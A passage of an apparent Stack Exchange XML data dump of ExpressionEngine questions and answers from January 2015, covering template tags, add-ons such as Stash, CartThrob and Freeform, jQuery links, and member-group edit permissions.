  <row Id="28639" PostTypeId="2" ParentId="26881" CreationDate="2015-01-25T20:13:11.390" Score="0" Body="&lt;p&gt;As Mark pointed out, you would need to do this in the database.  Here's a sample query you could use.  MAKE BACKUPS beforehand though!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_channel_data SET field_id_1 = REPLACE(field_id_1,'string to find','string to replace');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You would need to update the 'field_id_1' with whatever field you're trying to do the find/replace on.&lt;/p&gt;&#xA;" OwnerUserId="4976" LastActivityDate="2015-01-25T20:13:11.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28640" PostTypeId="1" AcceptedAnswerId="28757" CreationDate="2015-01-25T22:59:09.803" Score="0" ViewCount="50" Body="&lt;p&gt;Seem to have something in-correct. As soon as I add a product to the side cart all stock levels disappear from the front end. So your unable to tell if any ticket stock levels of other tours are available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 4 tours, each with an Adult and Child Ticket available with 10 stock each. Limit stock is ticked in the channel's field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here is what I have...&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:store:product &#xA;  entry_id=&quot;{entry_id}&quot;&#xA; }&#xA;&#xA;     &amp;lt;ul&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;Tickets available:&amp;lt;/strong&amp;gt; &amp;lt;span class=&quot;store_product_stock&quot;&amp;gt;&amp;lt;!-- automatically set --&amp;gt;&amp;lt;/span&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;Price:&amp;lt;/strong&amp;gt;&#xA;            {if on_sale}&#xA;                &amp;lt;del&amp;gt;{regular_price}&amp;lt;/del&amp;gt;&amp;lt;br /&amp;gt;&#xA;                {price}&#xA;                &amp;lt;span class=&quot;label label-success&quot;&amp;gt;Save {you_save} ({you_save_percent}%)&amp;lt;/span&amp;gt;&#xA;            {if:else}&#xA;                {regular_price}&#xA;            {/if}&#xA;        &amp;lt;/li&amp;gt;&#xA;     &amp;lt;/ul&amp;gt;&#xA;&#xA;    {modifiers}&#xA;&#xA;            &amp;lt;label class=&quot;control-label&quot; for=&quot;{modifier_input_name}&quot;&amp;gt;&amp;lt;strong&amp;gt;{modifier_name}: &amp;lt;/strong&amp;gt;&amp;lt;/label&amp;gt;&#xA;                {if modifier_type == 'var' OR modifier_type == 'var_single_sku'}&#xA;                        {modifier_options}&#xA;                                    &amp;lt;label&amp;gt;&amp;lt;input type=&quot;radio&quot; name=&quot;{modifier_input_name}&quot; value=&quot;{option_id}&quot; /&amp;gt; {option_name} {if price_mod_val} ({price_mod}) {/if}&amp;lt;/label&amp;gt;&#xA;                        {/modifier_options}&#xA;                {if:else}&#xA;                    &amp;lt;input type=&quot;text&quot; id=&quot;{modifier_input_name}&quot; name=&quot;{modifier_input_name}&quot; value=&quot;&quot; /&amp;gt;&#xA;                {/if}&#xA;                {if modifier_instructions}&amp;lt;p class=&quot;help-block&quot;&amp;gt;{modifier_instructions}&amp;lt;/p&amp;gt;{/if}&#xA;&#xA;    {/modifiers}&#xA;&#xA;        &amp;lt;label for=&quot;item_qty&quot;&amp;gt;&amp;lt;strong&amp;gt;Quantity: &amp;lt;/strong&amp;gt;&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; id=&quot;item_qty&quot; name=&quot;item_qty&quot; class=&quot;input-mini&quot; value=&quot;{min_order_qty}&quot; /&amp;gt;&#xA;&#xA;       &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Purchase Tickets&quot; class=&quot;button expand&quot; /&amp;gt;&#xA;&#xA;{/exp:store:product}   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="547" LastEditorUserId="115" LastEditDate="2015-01-25T23:42:55.293" LastActivityDate="2015-05-04T23:27:06.280" Title="Stock Levels Disappear after adding to Side Cart" Tags="|expresso-store|expresso|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28641" PostTypeId="1" CreationDate="2015-01-26T01:12:13.267" Score="0" ViewCount="75" Body="&lt;p&gt;We've added a second site to our EE setup using MSM (and we use Master Config too). The structure is something like this (site1 is web root; site2 is a subdomain technically):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;master-config&lt;/li&gt;&#xA;&lt;li&gt;site1&lt;/li&gt;&#xA;&lt;li&gt;site2&lt;/li&gt;&#xA;&lt;li&gt;system&lt;/li&gt;&#xA;&lt;li&gt;templates&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The templates output correctly and if we're in the CP, we're able to upload images to the second site just fine. The images for the second site live under site1: &lt;code&gt;site1/assets/images-site2/&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that although we're able to get into Assets in the CP and manage images just fine, the tags for images don't output anything at all in our template(s). Nothing shows up in the source code; no errors in console; nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if this is a cross-domain issue or something else. Any tips, suggestions, ideas would be great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're running EE 2.9.2 with Assets 2.5 in a multi-environment setup (local, dev, prod).&lt;/p&gt;&#xA;" OwnerUserId="132" LastActivityDate="2015-01-26T01:12:13.267" Title="Assets &amp; MSM: Assets field not parsing at all on second site" Tags="|assets|multi-site-manager|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="28643" PostTypeId="1" AcceptedAnswerId="28645" CreationDate="2015-01-26T14:54:23.043" Score="0" ViewCount="32" Body="&lt;p&gt;I am sorry to ask this, but I am stuck here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I must change (on two places) a css class if a channel entree exists.&#xA;If yes, the class must be unit-70, if no, unit-90.&#xA;This code below does not work, I do not know why. (when setting stash hardcoded it works as expected)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;content_block_mid&quot; parse_tags=&quot;yes&quot; parse_conditionals=&quot;yes&quot;}&#xA;  {exp:channel:entries&#xA;    channel=&quot;news_flash&quot;&#xA;    disable=&quot;categories|category_fields|pagination|member_data&quot;&#xA;    dynamic=&quot;no&quot;&#xA;}&#xA;    {if no_results}unit-80{/if}&#xA;    {if count &amp;gt;= 1}unit-70{/if}&#xA;  {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can someone please point me in the right direction, obviously I am missing something here. I tried many options, but got lost because nothing works. This seems to me the simpliest of solutions, but I fail even here.&#xA; Thank you!&lt;/p&gt;&#xA;" OwnerUserId="1615" LastActivityDate="2015-01-26T16:49:08.840" Title="Stash, Parsingorder (?) and conditionals if content exists" Tags="|templates|stash|parse-order|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28644" PostTypeId="2" ParentId="26548" CreationDate="2015-01-26T15:18:01.840" Score="0" Body="&lt;p&gt;I'm the developer of &lt;a href=&quot;http://squarebit.co.uk/software/expressionengine/shortlist&quot; rel=&quot;nofollow&quot;&gt;Shortlist&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Short answer : &lt;strong&gt;No&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Longer : &lt;strong&gt;Yes, but it takes extra work&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Outputting repeated entries in the same loop is &lt;em&gt;possible&lt;/em&gt; at the template parsing level, but is &lt;strong&gt;explicitly prevented by the channel:entries template parsing method&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The specific part at which channel-&gt;entries() does it's duplicate checking and removal in the build_sql_query() method, around line 2717 (in 2.9.2). That is their safety catch to stop repeats.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you needed to do your own thing, you can, but you'll need to do a lot of leg work to get around it. To do that you'll need to load up a Parser instance yourself and pass it the entry data directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note - Prior to 2.7.x this was simpler, and Shortlist did have an implementation that worked around things, but with the abstracted parser there's a lot of extra leg work to get it working. &lt;/p&gt;&#xA;" OwnerUserId="1111" LastActivityDate="2015-01-26T15:18:01.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28645" PostTypeId="2" ParentId="28643" CreationDate="2015-01-26T16:49:08.840" Score="0" Body="&lt;p&gt;Might try using '&lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bexp%3Astash%3Aset%7D#unprefix---string-&quot; rel=&quot;nofollow&quot;&gt;unprefix&lt;/a&gt;' for the nested channel entry tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set &#xA;    name=&quot;content_block_mid&quot; &#xA;    parse_tags=&quot;yes&quot; &#xA;    parse_conditionals=&quot;yes&quot;&#xA;    unprefix=&quot;my_prefix&quot;&#xA;}&#xA;    {exp:channel:entries&#xA;        channel=&quot;news_flash&quot;&#xA;        disable=&quot;categories|category_fields|pagination|member_data&quot;&#xA;        dynamic=&quot;no&quot;&#xA;    }&#xA;        {if my_prefix:no_results}unit-80{/if}&#xA;        {if my_prefix:count &amp;gt;= 1}unit-70{/if}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2015-01-26T16:49:08.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28646" PostTypeId="1" AcceptedAnswerId="28650" CreationDate="2015-01-26T16:58:16.563" Score="0" ViewCount="248" Body="&lt;p&gt;I am working on a photo portfolio &lt;a href=&quot;http://rouviere.com/photo/portfolio&quot; rel=&quot;nofollow&quot;&gt;page&lt;/a&gt; that uses fancy-box to display larger images of the photographs. This also includes a optional Buy Now link in the title area of the photo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code for the photo thumbnails and related popup images is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_reorder:entries set=&quot;portfolio_low_sort&quot;  limit=&quot;500&quot; }&#xA;    &amp;lt;a class=&quot;fancybox project {categories}{category_name} {/categories}&quot;  href=&quot;{large_image}&quot; title=&quot;{title}&quot;&amp;gt;&amp;lt;img src=&quot;{portfolio_thumbnail}&quot; alt=&quot;{title}&quot; width=&quot;262&quot; height=&quot;175&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;{/exp:low_reorder:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The jQuery code to include the Buy Now button and Pinterest link:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function() {&#xA;$(&quot;.fancybox&quot;)&#xA;.attr('rel', 'gallery')&#xA;.fancybox({&#xA;openEffect  : 'elastic',&#xA;closeEffect : 'elastic',&#xA;nextEffect  : 'fade',&#xA;prevEffect  : 'fade',&#xA;nextSpeed   : 1250,&#xA;prevSpeed   : 1250,&#xA;beforeShow  : function () {&#xA;if (this.title) {&#xA;&#xA;// Add pin it button&#xA;this.title += '&amp;amp;nbsp; &amp;lt;a href=&quot;//www.pinterest.com/pin/create/button/&quot; data-pin-do=&quot;buttonBookmark&quot;  data-pin-height=&quot;28&quot;&amp;gt;&amp;lt;img src=&quot;//assets.pinterest.com/images/pidgets/pinit_fg_en_rect_gray_28.png&quot; /&amp;gt;&amp;lt;/a&amp;gt; ';&#xA;&#xA;// Add buy now button&#xA;this.title += '&amp;lt;a href=&quot;/photo/image/{url_title}/&quot; data-url=&quot;' + this.href + '&quot;&amp;gt;&amp;lt;span&amp;gt;Buy now&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt; ';&#xA;}&#xA;},&#xA;helpers : {&#xA;title : {&#xA;type: 'inside'&#xA;}&#xA;}  &#xA;});&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Currently I have a link to the image page where the user can Buy Now and this is where I get stuck. Because this is jQuery and not part of the entry, I am not sure how to bring in the &quot;url_title&quot; part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any guidance on this would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2015-01-26T19:04:12.753" Title="How do include a file path in a jQuery statement?" Tags="|channel-entries|jquery|links|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28648" PostTypeId="2" ParentId="21717" CreationDate="2015-01-26T18:01:40.920" Score="2" Body="&lt;p&gt;The &lt;a href=&quot;https://devot-ee.com/add-ons/bulk-edit&quot; rel=&quot;nofollow&quot;&gt;Bulk Edit add-on&lt;/a&gt; can do this for you, I've used it successfully in the past.&lt;/p&gt;&#xA;" OwnerUserId="2774" LastEditorUserId="55" LastEditDate="2015-01-26T22:18:39.443" LastActivityDate="2015-01-26T22:18:39.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28649" PostTypeId="2" ParentId="28633" CreationDate="2015-01-26T18:09:17.353" Score="0" Body="&lt;p&gt;Thanks for your help Johnathan, this put me on the right path. The final piece missing is (dynamic=&quot;no&quot;). It appears it seems to think these are &quot;id&quot;s and is not returning the correct results. So the full answer is. Again Thanks!!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;   channel=&quot;publications&quot; &#xA;   orderby=&quot;pub_year&quot;&#xA;   search:pub_year=&quot;={last_segment}&quot;&#xA;   dynamic=&quot;no&quot;&#xA;   sort=&quot;desc&quot;&#xA;   limit=&quot;8&quot;&#xA;   }&#xA;&#xA;        &amp;lt;h3 style=&quot;font-size: 1em; margin-bottom:3px;&quot;&amp;gt;{pub_year}&amp;lt;/h3&amp;gt;&#xA;&#xA;        &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{pub_year}&quot;&amp;gt;{title}.&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt; &#xA;         &amp;lt;!-- Etc. --&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3047" LastActivityDate="2015-01-26T18:09:17.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28650" PostTypeId="2" ParentId="28646" CreationDate="2015-01-26T19:04:12.753" Score="2" Body="&lt;p&gt;The url title is not specified in your script. I would recommend putting the url title in a data attribute in the html code. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a data-urltitle=&quot;{url_title}&quot; class=&quot;fancybox project {categories}{category_name} {/categories}&quot;  href=&quot;{large_image}&quot; title=&quot;{title}&quot;&amp;gt;...&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then get that attribute in the js&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Add buy now button&#xA;var urltitle = this.data('urltitle');&#xA;this.title += '&amp;lt;a href=&quot;/photo/image/&quot;+urltitle+&quot;/&quot; data-url=&quot;' + &#xA;this.href + '&quot;&amp;gt;&amp;lt;span&amp;gt;Buy now&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt; ';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2015-01-26T19:04:12.753" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28651" PostTypeId="7" CreationDate="2015-01-26T19:42:24.483" Score="0" Body="&lt;p&gt;&#xA;    On Stack Exchange, we believe the core moderators should come &lt;i&gt;from&lt;/i&gt; the community, and be elected by the community itself through popular vote. We hold regular elections to determine who these community moderators will be.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;    Community moderators are &lt;a href=&quot;http://blog.stackoverflow.com/2009/05/a-theory-of-moderation/&quot;&gt;accorded the highest level of privilege on our community&lt;/a&gt;, and should themselves be exemplars of positive behavior and leaders within the community.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;    Our general criteria for moderators is as follows:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;    &lt;li&gt;patient and fair&lt;/li&gt;&#xA;    &lt;li&gt;leads by example&lt;/li&gt;&#xA;    &lt;li&gt;shows respect for their fellow community members in their actions and words&lt;/li&gt;&#xA;    &lt;li&gt;open to some light but firm moderation to keep the community on track and resolve (hopefully) uncommon disputes and exceptions&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&#xA;    Every election has three phases:&#xA;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;    &lt;li&gt;Nomination&lt;/li&gt;&#xA;    &lt;li&gt;Primary&lt;/li&gt;&#xA;    &lt;li&gt;Election&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&#xA;    Please participate in the moderator elections by voting, and perhaps even by nominating yourself to be a community moderator!&#xA;&lt;/p&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="10831" LastEditDate="2021-07-12T20:00:08.500" LastActivityDate="2021-07-12T20:00:08.500" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28652" PostTypeId="1" CreationDate="2015-01-26T20:31:59.903" Score="2" ViewCount="32" Body="&lt;p&gt;I am very new to EE so please be gentle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 3 template files, all with some static content and then this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:events calendar_id=&quot;52&quot; sort=&quot;asc&quot; dynamic=&quot;off&quot; status=&quot;current&quot;}&#xA;// HTML, outputting the fields&#xA;{/exp:calendar:events}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now the only difference in the code in each file is the calendar_id=&quot;number&quot; (numbers are 52,114,117). So this is where the code specifies which entries to display. Okay got it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what I want to know is if I created a channel in the future, and created a template. In that template I wanted to output the entries, how would I know which &quot;calendar_id&quot; to reference?&lt;/p&gt;&#xA;" OwnerUserId="4979" LastEditorUserId="4979" LastEditDate="2015-01-26T20:38:14.173" LastActivityDate="2015-01-26T21:53:30.567" Title="Where does {exp:calendar:events...} know where to get data from?" Tags="|loop|calendar-events|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28654" PostTypeId="2" ParentId="28652" CreationDate="2015-01-26T21:53:30.567" Score="1" Body="&lt;p&gt;One quick and easy way to glean a Calendar ID is just to go to &#xA;&lt;em&gt;CP &gt; Add-ons &gt; Modules &gt; Calendar &gt; Calendars&lt;/em&gt; and look at the output there. It gives you a list of all your calendars by name, and includes Calendar ID's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Izwph.png&quot; alt=&quot;Calendar table&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2015-01-26T21:53:30.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28655" PostTypeId="1" CreationDate="2015-01-26T22:21:40.297" Score="1" ViewCount="36" Body="&lt;p&gt;I have a product where there are some physical items as well as a downloadable item variation. So, I'm using matrix to to add these variations. The problem that I am having is that the debug statement for the downloadable item states &quot;[Filename] =&gt; No download URL was specified.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my matrix field &quot;product_variations&quot; the column field name is set up as text and named &quot;product_download_url&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm setting up my downloadble item using an absolute path: file=&quot;root/www/folder/file-name.pdf&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code for my order info page is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:order_items member_id=&quot;CURRENT_USER&quot;}&#xA;    &amp;lt;a href=&quot;{exp:cartthrob:get_download_link field=&quot;[item_options]product_download_url&quot; entry_id=&quot;{item:entry_id}&quot; member_id=&quot;CURRENT_USER&quot; debug=&quot;yes&quot; }&quot;&amp;gt;Download&amp;lt;/a&amp;gt;&#xA;{/exp:cartthrob:order_items}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried the code a few ways but I can't seem to get this link to work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help? Many thanks! &lt;/p&gt;&#xA;" OwnerUserId="4981" LastActivityDate="2015-01-26T22:21:40.297" Title="Downloadable file from Matrix field" Tags="|cartthrob|matrix|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28657" PostTypeId="1" AcceptedAnswerId="28660" CreationDate="2015-01-27T02:09:29.203" Score="1" ViewCount="437" Body="&lt;p&gt;I have a channel form that allows members of a certain member group (Authors) to create one entry and to edit it. Then, members of a different member group (Coordinators) should be able to edit those entries, using a similar Channel Form in a separate template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason, members of Coordinators can't edit entries by Authors' members via Channel Forms. Viewing the template's source, nothing that is inside the &lt;code&gt;{exp:channel:form}&lt;/code&gt; tag is rendered. They &lt;strong&gt;can&lt;/strong&gt; edit those entries using the CP, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've double checked Coordinator's permissions. They have access to the channel. I enabled &quot;Include Members in PUBLISH page multi-author list?&quot; for both groups, and all the channel entries privileges (can view/edit entries authored by others, etc) for Coordinators.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form &#xA;     class=&quot;entry&quot; &#xA;     channel=&quot;requirements&quot; &#xA;     datepicker=&quot;no&quot; &#xA;     entry_id=&quot;{segment_3}&quot; &#xA;     return=&quot;requirements/teams&quot;}&#xA;&#xA;        &amp;lt;h3&amp;gt;Team: {title}&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;title&quot; value=&quot;{title}&quot;&amp;gt;&#xA;        {!-- other fields here --}&#xA;        &amp;lt;label for=&quot;comments&quot;&amp;gt;Comments or specific requests:&amp;lt;/label&amp;gt;&#xA;                &amp;lt;textarea cols=&quot;50&quot; rows=&quot;4&quot; id=&quot;comments&quot; name=&quot;comments&quot;&amp;gt;{comments}&amp;lt;/textarea&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;input type=&quot;submit&quot; class=&quot;button&quot; value=&quot;Submit&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Super Admin can edit those entries, that's why I suspect is a member privilege error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing? Thank you!&lt;/p&gt;&#xA;" OwnerUserId="4961" LastEditorUserId="4961" LastEditDate="2015-01-27T02:26:29.603" LastActivityDate="2015-03-16T16:35:10.367" Title="Channel Forms: Members can't edit entries authored by others" Tags="|safecracker|members|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28658" PostTypeId="1" CreationDate="2015-01-27T05:42:22.067" Score="1" ViewCount="23" Body="&lt;p&gt;EEEnthusiasts!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a client who is seeking to use Freeform Pro to create a form where site visitors can submit entries that will appear on another part of the site for 10 days from the date of submission, and then expire automatically. It seems like the Freeform Pro &lt;strong&gt;&lt;a href=&quot;http://www.solspace.com/docs/freeform/entries/#date_range_end&quot; rel=&quot;nofollow&quot;&gt;date_range_end&lt;/a&gt;&lt;/strong&gt; parameter should be able to do this (or at least the client thinks so), but the following template code is not working as expected. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:entries&#xA;form_id=&quot;9|11&quot;&#xA;orderby=&quot;entry_date&quot;&#xA;sort=&quot;desc&quot;&#xA;status=&quot;open&quot;&#xA;date_range_end=&quot;10 day&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does the &lt;strong&gt;date_range_end&lt;/strong&gt; parameter not actually do what we thought it would? Is it being used incorrectly here? Is there a better way of achieving the same effect? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice would be greatly appreciated. Thank you!&lt;/p&gt;&#xA;" OwnerUserId="1109" LastEditorUserId="1109" LastEditDate="2015-01-27T05:53:18.537" LastActivityDate="2015-01-27T05:53:18.537" Title="Freeform Pro date_range_end" Tags="|solspace-freeform|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28660" PostTypeId="2" ParentId="28657" CreationDate="2015-01-27T10:05:08.053" Score="5" Body="&lt;p&gt;I've also been struggling with this exact same situation for quite a while, it seems to be an EE bug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I did to resolve it. Your markup is fine, your member settings are also fine. The only member setting that is vital to this operation is the &quot;Can edit entries authored by others&quot; under &quot;Channel Posting Privileges&quot; in the Member Group settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open the channel entries api library file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;system/expressionengine/libraries/api/Api_channel_entries.php&lt;/pre&gt;&#xA;&#xA;&lt;pre&gt;line 1043&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Compare it should read something like below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;if ($data['author_id'] != ee()-&gt;session-&gt;userdata('member_id') &amp;&amp; ee()-&gt;session-&gt;userdata('group_id') != 1)&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;if ($data['author_id'] != ee()-&gt;session-&gt;userdata('member_id') &amp;&amp; ee()-&gt;session-&gt;userdata('group_id') != 1 &amp;&amp; ee()-&gt;session-&gt;userdata('can_edit_other_entries') != 'y')&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EE is forgetting to check our &quot;Can edit entries authored by others&quot; in that conditional and that is why it's not saving our update.&lt;/p&gt;&#xA;" OwnerUserId="3368" LastActivityDate="2015-01-27T10:05:08.053" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28661" PostTypeId="1" CreationDate="2015-01-27T11:11:27.397" Score="1" ViewCount="32" Body="&lt;p&gt;We have a template which is literally a template in the original sense: i.e. it contains code which is intended to be copied and pasted into a newly created template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to 'lock' this in anyway so this base code cannot be changed only copied to a new template where any changes can take place?&lt;/p&gt;&#xA;" OwnerUserId="2748" LastActivityDate="2015-01-27T13:04:05.040" Title="Is it possible to lock a template in Template Manager?" Tags="|templates|control-panel|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28662" PostTypeId="2" ParentId="28661" CreationDate="2015-01-27T13:04:05.040" Score="3" Body="&lt;p&gt;I can see couple ways to do this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a special group as copy of SuperAdmin, but w/o rights to edit specific template group, where you will keep your original templates.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can activate option Save Template as files. The files still be available for modification in CP. But you can protect some of them by change file permissions.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2715" LastActivityDate="2015-01-27T13:04:05.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28663" PostTypeId="2" ParentId="26881" CreationDate="2015-01-27T13:58:59.607" Score="1" Body="&lt;p&gt;Another option: &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/find-replace&quot; rel=&quot;nofollow&quot;&gt;Low Search&lt;/a&gt; has a really nice Find &amp;amp; Replace that allows you to select multiple fields and even restrict by category, a replace preview, and replace log.&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2015-01-27T13:58:59.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28664" PostTypeId="1" CreationDate="2015-01-27T15:08:35.290" Score="1" ViewCount="64" Body="&lt;p&gt;I'm having an issue with the latest WygWam Module after moving to a new server and updating to EE 2.9.2. I was on EE 2.2.1 and moved everything over and upgraded about a month ago. Ever since then WygWam has been messing up. I have 2 issues happening.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I was first notified about the issue when our client said they couldn't paste in entries anymore without it losing formatting. Basically they were pasting listing information from emails that were submitted to them and on the old server and old version of Wygwam, they could select the text on the email and it would paste in with all formatting in tact. With the upgrade, it was stripping out all formatting and just pasting as plain text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I reuploaded all files and went to the field type settings and under advanced settings I turned off forcePasteAsPlainText and turned on FullPage. I'd prefer to have the formatted code be pasted in without having FullPage on because it adds and extra top and bottom HTML, Head and Body tag to the page when its already got that.But, this seems to fix the issue for the client. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;However, now when I go to other entries to make edits, the editor will show for a second and then it disappears and locks up the page and I have to close down the tab and go log back in to fix it. On a few entries the editor shows up fine. Here is a screenshot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://screencast.com/t/koUdI5T60z&quot; 